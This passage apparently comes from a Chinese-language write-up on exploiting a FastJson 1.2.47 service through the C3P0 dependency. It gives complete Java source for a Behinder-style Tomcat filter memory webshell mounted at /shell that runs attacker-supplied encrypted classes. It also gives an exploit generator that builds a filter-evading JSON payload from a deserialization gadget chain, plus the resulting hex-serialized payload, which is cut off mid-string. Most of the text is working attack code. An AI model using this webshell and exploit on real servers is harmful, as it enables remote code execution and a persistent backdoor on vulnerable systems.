6、因此下一步探測存在的依賴。利用Character轉換報錯可以判斷存在何種依賴,當存在該類時會報出型別轉換錯誤,否則無顯示,同樣的,這裡@type也需要編碼。因此,透過這種方法結合已知的FastJson利用鏈所需要的依賴類,最終探測服務中存在C3P0依賴。
7、FastJson本身結合C3P0有很多利用方式,其中提的最多的是不出網利用,hex base二次反序列化打記憶體馬。在c3p0+FastJson利用其他文章中介紹的是需要依賴像cc鏈這樣的反序列化鏈,但其實是不需要的,因為FastJson全版本都存在原生反序列化漏洞,且是透過TemplatesImpl載入類,更加適合。先找一個冰蠍記憶體馬:Tomcat的Filter型記憶體馬,但因為是TemplatesImpl這條鏈載入位元組碼,所以需要extends AbstractTranslet並重寫兩個方法,否則載入不了這個類。編譯為IceShell.class:
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Base64;import java.util.HashMap;import java.util.Map;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import javax.servlet.DispatcherType;import javax.servlet.Filter;import javax.servlet.FilterChain;import javax.servlet.FilterConfig;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import javax.servlet.http.HttpSession;import org.apache.catalina.Context;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.catalina.loader.WebappClassLoaderBase;import org.apache.tomcat.util.descriptor.web.FilterDef;import org.apache.tomcat.util.descriptor.web.FilterMap;import sun.misc.BASE64Decoder;
public class IceShell extends AbstractTranslet implements Filter { private final String pa = "3ad2fddfe8bad8e6";
public IceShell() { }
public void init(FilterConfig filterConfig) throws ServletException { }
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest)servletRequest; HttpServletResponse response = (HttpServletResponse)servletResponse; HttpSession session = request.getSession(); Map<String, Object> pageContext = new HashMap(); pageContext.put("session", session); pageContext.put("request", request); pageContext.put("response", response); ClassLoader cl = Thread.currentThread().getContextClassLoader(); if (request.getMethod().equals("POST")) { Class Lclass; if (cl.getClass().getSuperclass().getName().equals("java.lang.ClassLoader")) { Lclass = cl.getClass().getSuperclass(); this.RushThere(Lclass, cl, session, request, pageContext); } else if (cl.getClass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) { Lclass = cl.getClass().getSuperclass().getSuperclass(); this.RushThere(Lclass, cl, session, request, pageContext); } else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) { Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass(); this.RushThere(Lclass, cl, session, request, pageContext); } else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) { Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass(); this.RushThere(Lclass, cl, session, request, pageContext); } else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) { Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass(); this.RushThere(Lclass, cl, session, request, pageContext); } else { Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass(); this.RushThere(Lclass, cl, session, request, pageContext); }
filterChain.doFilter(servletRequest, servletResponse); }
}
public void destroy() { }
public void RushThere(Class Lclass, ClassLoader cl, HttpSession session, HttpServletRequest request, Map<String, Object> pageContext) { byte[] bytecode = Base64.getDecoder().decode("yv66vgAAADQAGgoABAAUCgAEABUHABYHABcBAAY8aW5pdD4BABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADTFU7AQABYwEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABZwEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAWIBAAJbQgEAClNvdXJjZUZpbGUBAAZVLmphdmEMAAUABgwAGAAZAQABVQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsAIQADAAQAAAAAAAIAAAAFAAYAAQAHAAAAOgACAAIAAAAGKiu3AAGxAAAAAgAIAAAABgABAAAAAgAJAAAAFgACAAAABgAKAAsAAAAAAAYADAANAAEAAQAOAA8AAQAHAAAAPQAEAAIAAAAJKisDK763AAKwAAAAAgAIAAAABgABAAAAAwAJAAAAFgACAAAACQAKAAsAAAAAAAkAEAARAAEAAQASAAAAAgAT");
try { Method define = Lclass.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); define.setAccessible(true); Class uclass = null;
try { uclass = cl.loadClass("U"); } catch (ClassNotFoundException var18) { uclass = (Class)define.invoke(cl, bytecode, 0, bytecode.length); }
Constructor constructor = uclass.getDeclaredConstructor(ClassLoader.class); constructor.setAccessible(true); Object u = constructor.newInstance(this.getClass().getClassLoader()); Method Um = uclass.getDeclaredMethod("g", byte[].class); Um.setAccessible(true); String k = "3ad2fddfe8bad8e6"; session.setAttribute("u", k); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(k.getBytes(), "AES")); byte[] eClassBytes = c.doFinal((new BASE64Decoder()).decodeBuffer(request.getReader().readLine())); Class eclass = (Class)Um.invoke(u, eClassBytes); Object a = eclass.newInstance(); Method b = eclass.getDeclaredMethod("equals", Object.class); b.setAccessible(true); b.invoke(a, pageContext); } catch (Exception var19) { }
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
static { try { String name = "AutomneGreet"; WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext(); Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map)Configs.get(standardContext); if (filterConfigs.get("AutomneGreet") == null) { Filter filter = new IceShell(); FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName("AutomneGreet"); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/shell"); filterMap.setFilterName("AutomneGreet"); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)constructor.newInstance(standardContext, filterDef); filterConfigs.put("AutomneGreet", filterConfig); } } catch (Exception var10) { }
}}
8.記憶體馬做好後結合c3p0鏈生成json,最終exp如下:
import com.alibaba.fastjson.JSONArray;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;
public class rce { public static void main(String[] args) throws Exception { String hex2 = bytesToHex(tobyteArray(gen())); String FJ1247 = "{\n" + " \"a\":{\n" + " \"\\u0040\\u0074\\u0079\\u0070\\u0065\":\"java.lang.Class\",\n" + " \"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"\n" + " },\n" + " \"b\":{\n" + " \"\\u0040\\u0074\\u0079\\u0070\\u0065\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n" + " \"\\u0075\\u0073\\u0065\\u0072\\u004F\\u0076\\u0065\\u0072\\u0072\\u0069\\u0064\\u0065\\u0073\\u0041\\u0073\\u0053\\u0074\\u0072\\u0069\\u006E\\u0067\":\"HexAsciiSerializedMap:" + hex2 + ";\",\n" + " }\n" + "}\n"; System.out.println(FJ1247); } //FastJson原生反序列化載入惡意類位元組碼 public static Object gen() throws Exception { TemplatesImpl templates = TemplatesImpl.class.newInstance(); byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\Administrator\\Desktop\\untitled\\src\\main\\java\\IceShell.java")); //做好的冰蠍馬地址,讀取其中位元組即可 setValue(templates, "_bytecodes", new byte[][]{bytes}); setValue(templates, "_name", "1"); setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray(); jsonArray.add(templates);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null); setValue(bd,"val",jsonArray);
HashMap hashMap = new HashMap(); hashMap.put(templates,bd); return hashMap; } public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
//將類序列化為位元組陣列 public static byte[] tobyteArray(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bao); oos.writeObject(o); // return bao.toByteArray(); }
//位元組陣列轉十六進位制 public static String bytesToHex(byte[] bytes) { StringBuffer stringBuffer = new StringBuffer(); for (int i = 0; i < bytes.length; i++) { String hex = Integer.toHexString(bytes[i] & 0xff); //bytes[]中為帶符號位元組-255~+255,&0xff: 保證得到的資料在0~255之間 if (hex.length()<2){ stringBuffer.append("0" + hex); //0-9 則在前面加‘0’,保證2位避免後面讀取錯誤 }else { stringBuffer.append(hex); } } return stringBuffer.toString(); }}
9.加入tomcat和fastjson依賴,編譯執行,得到一串json格式資料。
<dependencies> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-core</artifactId> <version>8.5.37</version> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.47</version> </dependency> </dependencies>
{ "a":{ "\u0040\u0074\u0079\u0070\u0065":"java.lang.Class", "val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" }, "b":{ "\u0040\u0074\u0079\u0070\u0065":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "\u0075\u0073\u0065\u0072\u004f\u0076\u0065\u0072\u0072\u0069\u0064\u0065\u0073\u0041\u0073\u0053\u0074\u0072\u0069\u006e\u0067":"HexAsciiSerializedMap:aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d657400124c6a6176612f6c616e672f537472696e673b4c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787000000001757200025b42acf317f8060854e002000078700000254acafebabe0000003401880a005e00cc0800cd09004b00ce0700cf0700d00b000400d10700d20a000700cc08007f0b004900d308007b08007d0a00d400d50a00d400d60b000400d70800d80a00d900da0a002400db0a001c00dc0a001c00dd0800de0a004b00df0b00e000e10a00e200e30800e40a00e500e60800e70700e80700a40900e900ea0a001c00eb0a00ec00ed0800ee0a002700ef0700f00700f10a00e900f20a00ec00f30700f40a001c00f50a00f600ed0a001c00f70a00f600f80800f908009d0b00fa00fb0800fc0a00fd00fe0700ff0a00d901000a003101010a00fd01020701030a003500cc0b000401040a010501060a003501070a00fd01080a001c010908010a07010b08010c07010d0a003f010e0b010f01100701110801120a001c01130800c90a001c01140a011500ed0a011501160701170b004901160701180a004b00cc0701190a004d00cc0a004d011a0a004d011b0a004d011c0a0042011d07011e0a005300cc08011f0a005301200a0053011b09012101220a012101230a005301240a0042012507012607012707012807012901000270610100124c6a6176612f6c616e672f537472696e673b01000d436f6e7374616e7456616c75650100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301000a4c4963655368656c6c3b010004696e697401001f284c6a617661782f736572766c65742f46696c746572436f6e6669673b295601000c66696c746572436f6e66696701001c4c6a617661782f736572766c65742f46696c746572436f6e6669673b01000a457863657074696f6e7307012a0100104d6574686f64506172616d6574657273010008646f46696c74657201005b284c6a617661782f736572766c65742f536572766c6574526571756573743b4c6a617661782f736572766c65742f536572766c6574526573706f6e73653b4c6a617661782f736572766c65742f46696c746572436861696e3b29560100064c636c6173730100114c6a6176612f6c616e672f436c6173733b01000e736572766c65745265717565737401001e4c6a617661782f736572766c65742f536572766c6574526571756573743b01000f736572766c6574526573706f6e736501001f4c6a617661782f736572766c65742f536572766c6574526573706f6e73653b01000b66696c746572436861696e01001b4c6a617661782f736572766c65742f46696c746572436861696e3b010007726571756573740100274c6a617661782f736572766c65742f687474702f48747470536572766c6574526571756573743b010008726573706f6e73650100284c6a617661782f736572766c65742f687474702f48747470536572766c6574526573706f6e73653b01000773657373696f6e0100204c6a617661782f736572766c65742f687474702f4874747053657373696f6e3b01000b70616765436f6e7465787401000f4c6a6176612f7574696c2f4d61703b010002636c0100174c6a6176612f6c616e672f436c6173734c6f616465723b0100164c6f63616c5661726961626c65547970655461626c650100354c6a6176612f7574696c2f4d61703c4c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f4f626a6563743b3e3b01000d537461636b4d61705461626c6507011807012b07012c07012d0700cf0700d007012e0701170700f40700e807012f01000764657374726f79010009527573685468657265010081284c6a6176612f6c616e672f436c6173733b4c6a6176612f6c616e672f436c6173734c6f616465723b4c6a617661782f736572766c65742f687474702f4874747053657373696f6e3b4c6a617661782f736572766c65742f687474702f48747470536572766c6574526571756573743b4c6a6176612f7574696c2f4d61703b295601000576617231380100224c6a6176612f6c616e672f436c6173734e6f74466f756e64457863657074696f6e3b010006646566696e6501001a4c6a6176612f6c616e672f7265666c6563742f4d6574686f643b01000675636c61737301000b636f6e7374727563746f7201001f4c6a6176612f6c616e672f7265666c6563742f436f6e7374727563746f723b010001750100124c6a6176612f6c616e672f4f626a6563743b010002556d0100016b010001630100154c6a617661782f63727970746f2f4369706865723b01000b65436c61737342797465730100025b4201000665636c617373010001610100016201000862797465636f64650701300700f007010b0100095369676e61747572650100a7284c6a6176612f6c616e672f436c6173733b4c6a6176612f6c616e672f436c6173734c6f616465723b4c6a617661782f736572766c65742f687474702f4874747053657373696f6e3b4c6a617661782f736572766c65742f687474702f48747470536572766c6574526571756573743b4c6a6176612f7574696c2f4d61703c4c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f4f626a6563743b3e3b29560100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b0701310100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b0100083c636c696e69743e01000666696c7465720100164c6a617661782f736572766c65742f46696c7465723b01000966696c7465724465660100314c6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724465663b01000966696c7465724d61700100314c6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724d61703b0100324c6f72672f6170616368652f636174616c696e612f636f72652f4170706c69636174696f6e46696c746572436f6e6669673b0100046e616d65010015776562617070436c6173734c6f61646572426173650100324c6f72672f6170616368652f636174616c696e612f6c6f616465722f576562617070436c6173734c6f61646572426173653b01000f7374616e64617264436f6e7465787401002a4c6f72672f6170616368652f636174616c696e612f636f72652f5374616e64617264436f6e746578743b010007436f6e666967730100194c6a6176612f6c616e672f7265666c6563742f4669656c643b01000d66696c746572436f6e6669677301000a536f7572636546696c6501000d4963655368656c6c2e6a6176610c00630064010010336164326664646665386261643865360c006000610100256a617661782f736572766c65742f687474702f48747470536572766c6574526571756573740100266a617661782f736572766c65742f687474702f48747470536572766c6574526573706f6e73650c013201330100116a6176612f7574696c2f486173684d61700c013401350701360c013701380c0139013a0c013b013c010004504f535407013d0c010a013e0c013f01400c014101400c0142013c0100156a6176612e6c616e672e436c6173734c6f616465720c0094009507012d0c007101430701440c0145014801026479763636766741414144514147676f41424141554367414541425548414259484142634241415938615735706444344241426f6f54477068646d4576624746755a7939446247467a633078765957526c636a73705667454142454e765a4755424141394d6157356c546e5674596d5679564746696247554241424a4d62324e6862465a68636d6c68596d786c56474669624755424141523061476c7a415141445446553741514142597745414630787159585a684c327868626d63765132786863334e4d6232466b5a584937415141425a7745414653686251696c4d616d4632595339735957356e4c304e7359584e7a4f7745414157494241414a6251674541436c4e7664584a6a5a555a706247554241415a564c6d7068646d454d41415541426777414741415a415141425651454146577068646d4576624746755a7939446247467a633078765957526c636745414332526c5a6d6c755a554e7359584e7a415141584b46744353556b7054477068646d4576624746755a7939446247467a637a734149514144414151414141414141414941414141464141594141514148414141414f67414341414941414141474b6975334141477841414141416741494141414142674142414141414167414a4141414146674143414141414267414b4141734141414141414159414441414e414145414151414f41413841415141484141414150514145414149414141414a4b6973444b37363341414b7741414141416741494141414142674142414141414177414a4141414146674143414141414351414b414173414141414141416b4145414152414145414151415341414141416741540701490c014a014b01000b646566696e65436c61737301000f6a6176612f6c616e672f436c61737307014c0c014d00740c014e014f0701300c01500151010001550c015201530100206a6176612f6c616e672f436c6173734e6f74466f756e64457863657074696f6e0100106a6176612f6c616e672f4f626a6563740c015401550c015601570100156a6176612f6c616e672f436c6173734c6f616465720c0158015907015a0c015b013a0c015c015d0100016707012e0c015e015f0100034145530701600c0161016201001f6a617661782f63727970746f2f737065632f5365637265744b6579537065630c016301640c006301650c006a016601001673756e2f6d6973632f4241534536344465636f6465720c016701680701690c016a013c0c016b014b0c016c016d0c015c016e010006657175616c730100136a6176612f6c616e672f457863657074696f6e01000c4175746f6d6e6547726565740100306f72672f6170616368652f636174616c696e612f6c6f616465722f576562617070436c6173734c6f61646572426173650c016f01700701710c017201730100286f72672f6170616368652f636174616c696e612f636f72652f5374616e64617264436f6e746578740100286f72672e6170616368652e636174616c696e612e636f72652e5374616e64617264436f6e746578740c017401530c017501760701770c0178017901000d6a6176612f7574696c2f4d61700100084963655368656c6c01002f6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724465660c017a017b0c017c017d0c017e017d0c017f018001002f6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724d61700100062f7368656c6c0c0181017d0701820c018301840c00c2013c0c0185017d0c018601870100306f72672f6170616368652f636174616c696e612f636f72652f4170706c69636174696f6e46696c746572436f6e66696701001b6f72672f6170616368652f636174616c696e612f436f6e74657874010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a617661782f736572766c65742f46696c74657201001e6a617661782f736572766c65742f536572766c6574457863657074696f6e01001c6a617661782f736572766c65742f536572766c65745265717565737401001d6a617661782f736572766c65742f536572766c6574526573706f6e73650100196a617661782f736572766c65742f46696c746572436861696e01001e6a617661782f736572766c65742f687474702f4874747053657373696f6e0100136a6176612f696f2f494f457863657074696f6e0100186a6176612f6c616e672f7265666c6563742f4d6574686f64010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e01000a67657453657373696f6e01002228294c6a617661782f736572766c65742f687474702f4874747053657373696f6e3b010003707574010038284c6a6176612f6c616e672f4f626a6563743b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b010015676574436f6e74657874436c6173734c6f6164657201001928294c6a6176612f6c616e672f436c6173734c6f616465723b0100096765744d6574686f6401001428294c6a6176612f6c616e672f537472696e673b0100106a6176612f6c616e672f537472696e67010015284c6a6176612f6c616e672f4f626a6563743b295a010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b01000d6765745375706572636c6173730100076765744e616d65010040284c6a617661782f736572766c65742f536572766c6574526571756573743b4c6a617661782f736572766c65742f536572766c6574526573706f6e73653b29560100106a6176612f7574696c2f42617365363401000a6765744465636f6465720100074465636f64657201000c496e6e6572436c617373657301001c28294c6a6176612f7574696c2f426173653634244465636f6465723b0100186a6176612f7574696c2f426173653634244465636f6465720100066465636f6465010016284c6a6176612f6c616e672f537472696e673b295b420100116a6176612f6c616e672f496e7465676572010004545950450100116765744465636c617265644d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b01000d73657441636365737369626c65010004285a29560100096c6f6164436c617373010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b01000776616c75654f660100162849294c6a6176612f6c616e672f496e74656765723b010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100166765744465636c61726564436f6e7374727563746f72010033285b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f436f6e7374727563746f723b01001d6a6176612f6c616e672f7265666c6563742f436f6e7374727563746f7201000e676574436c6173734c6f6164657201000b6e6577496e7374616e6365010027285b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b01000c736574417474726962757465010027284c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f4f626a6563743b29560100136a617661782f63727970746f2f43697068657201000b676574496e7374616e6365010029284c6a6176612f6c616e672f537472696e673b294c6a617661782f63727970746f2f4369706865723b010008676574427974657301000428295b42010017285b424c6a6176612f6c616e672f537472696e673b295601001728494c6a6176612f73656375726974792f4b65793b295601000967657452656164657201001a28294c6a6176612f696f2f42756666657265645265616465723b0100166a6176612f696f2f4275666665726564526561646572010008726561644c696e6501000c6465636f6465427566666572010007646f46696e616c010006285b42295b4201001428294c6a6176612f6c616e672f4f626a6563743b01000c6765745265736f757263657301002728294c6f72672f6170616368652f636174616c696e612f5765625265736f75726365526f6f743b0100236f72672f6170616368652f636174616c696e612f5765625265736f75726365526f6f7401000a676574436f6e7465787401001f28294c6f72672f6170616368652f636174616c696e612f436f6e746578743b010007666f724e616d650100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0100176a6176612f6c616e672f7265666c6563742f4669656c64010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b01000973657446696c746572010019284c6a617661782f736572766c65742f46696c7465723b295601000d73657446696c7465724e616d65010015284c6a6176612f6c616e672f537472696e673b295601000e73657446696c746572436c61737301000c61646446696c746572446566010034284c6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724465663b295601000d61646455524c5061747465726e01001c6a617661782f736572766c65742f44697370617463686572547970650100075245515545535401001e4c6a617661782f736572766c65742f44697370617463686572547970653b01000d7365744469737061746368657201001261646446696c7465724d61704265666f7265010034284c6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724d61703b29560021004b005e0001005f0001001200600061000100620000000200020008000100630064000100650000003d000200010000000b2ab700012a1202b50003b10000000200660000000e00030000002900040027000a002a00670000000c00010000000b0068006900000001006a006b00030065000000350000000200000001b10000000200660000000600010000002d00670000001600020000000100680069000000000001006c006d0001006e000000040001006f00700000000501006c000000010071007200030065000003180006000a000001ab2bc000043a042cc000053a051904b9000601003a06bb000759b700083a07190712091906b9000a0300571907120b1904b9000a0300571907120c1905b9000a030057b8000db6000e3a081904b9000f01001210b600119901541908b60012b60013b600141215b6001199001e1908b60012b600133a092a19091908190619041907b60016a7011e1908b60012b60013b60013b600141215b600119900211908b60012b60013b600133a092a19091908190619041907b60016a700ea1908b60012b60013b60013b60013b600141215b600119900241908b60012b60013b60013b600133a092a19091908190619041907b60016a700b01908b60012b60013b60013b60013b60013b600141215b600119900271908b60012b60013b60013b60013b600133a092a19091908190619041907b60016a700701908b60012b60013b60013b60013b60013b60013b600141215b6001199002a1908b60012b60013b60013b60013b60013b600133a092a19091908190619041907b60016a7002a1908b60012b60013b60013b60013b60013b60013b600133a092a19091908190619041907b600162d2b2cb900170300b100000004006600000072001c0000003000060031000c003200150033001e0034002a00350036003600420037004a00380059003a006c003b0076003c0087003d009d003e00aa003f00bb004000d4004100e4004200f5004301110044012400450135004601540047016a0048017b004a0194004b01a2004e01aa0051006700000098000f0076001100730074000900aa001100730074000900e4001100730074000901240011007300740009016a001100730074000901940016007300740009000001ab006800690000000001ab007500760001000001ab007700780002000001ab0079007a0003000601a5007b007c0004000c019f007d007e000500150196007f00800006001e018d008100820007004a016100830084000800850000000c0001001e018d0081008600070087000000330007ff0087000907008807008907008a07008b07008c07008d07008e07008f070090000033393ffb0045fc0026070091fa0007006e0000000600020092006f00700000000d03007500000077000000790000000100930064000100650000002b0000000100000001b10000000200660000000600010000005400670000000c00010000000100680069000000010094009500030065000002e50006001200000133b800181219b6001a3a062b121b06bd001c5903121d535904b2001e535905b2001e53b6001f3a07190704b60020013a082c1221b600223a08a700293a0919072c06bd00245903190653590403b800255359051906beb8002553b60026c0001c3a08190804bd001c5903122753b600283a09190904b60029190904bd002459032ab60012b6002a53b6002b3a0a1908122c04bd001c5903121d53b6001f3a0b190b04b6002012023a0c2d122d190cb9002e0300122fb800303a0d190d05bb003159190cb60032122fb70033b60034190dbb003559b700361904b900370100b60038b60039b6003a3a0e190b190a04bd00245903190e53b60026c0001c3a0f190fb6003b3a10190f123c04bd001c5903122453b6001f3a11191104b600201911191004bd00245903190553b6002657a700053a07b1000200300038003b0023000a012d0130003d000400660000006a001a00000057000a005a0027005b002d005c0030005f00380062003b0060003d0061006100640071006500770066008c0067009e006800a4006900a8006a00b2006b00b9006c00cd006d00e8006e00fd006f0104007001160071011c0072012d007401300073013200750067000000c00013003d002400960097000900270106009800990007003000fd009a00740008007100bc009b009c0009008c00a1009d009e000a009e008f009f0099000b00a8008500a00061000c00b9007400a100a2000d00e8004500a300a4000e00fd003000a50074000f0104002900a6009e00100116001700a70099001100000133006800690000000001330073007400010000013300830084000200000133007f0080000300000133007b007c000400000133008100820005000a012900a800a4000600850000000c0001000001330081008600050087000000480004ff003b000907008807009107009007008e07008c07008f07001d0700a907009100010700aa25ff00ce000707008807009107009007008e07008c07008f07001d00010700ab01007000000015050073000000830000007f0000007b00000081000000ac0000000200ad000100ae00af000300650000003f0000000300000001b1000000020066000000060001000000780067000000200003000000010068006900000000000100b000b100010000000100b200b30002006e00000004000100b40070000000090200b0000000b20000000100ae00b500030065000000490000000400000001b10000000200660000000600010000007b00670000002a0004000000010068006900000000000100b000b100010000000100b600b700020000000100b800b90003006e00000004000100b400700000000d0300b0000000b6000000b80000000800ba006400010065000001da0005000a000000de123e4bb8000db6000ec0003f4c2bb60040b900410100c000424d1243b800441245b600464e2d04b600472d2cb60048c000493a041904123eb9004a0200c7009cbb004b59b7004c3a05bb004d59b7004e3a0619061905b6004f1906123eb6005019061905b60012b60014b600512c1906b60052bb005359b700543a0719071255b600561907123eb600571907b20058b60059b6005a2c1907b6005b125c05bd001c5903125d535904124d53b600283a08190804b60029190805bd002459032c535904190653b6002bc0005c3a091904123e1909b9000a030057a700044bb10001000000d900dc003d000300660000006600190000007f00030080000d0081001a008200250083002a008400340085004000860049008700520088005900890060008a006d008b0073008c007c008d0083008e008a008f00950090009b009100b0009200b6009300cd009400d9009700dc009600dd0099006700000066000a0049009000bb00bc00050052008700bd00be0006007c005d00bf00c0000700b00029009b009c000800cd000c006c00c10009000300d600c200610000000d00cc00c300c40001001a00bf00c500c60002002500b400c700c80003003400a500c90082000400870000000a0003fb00d9420700ab00000200ca0000000200cb01470000000a000100e500e201460009707400013170770100787372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc4020000787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573736167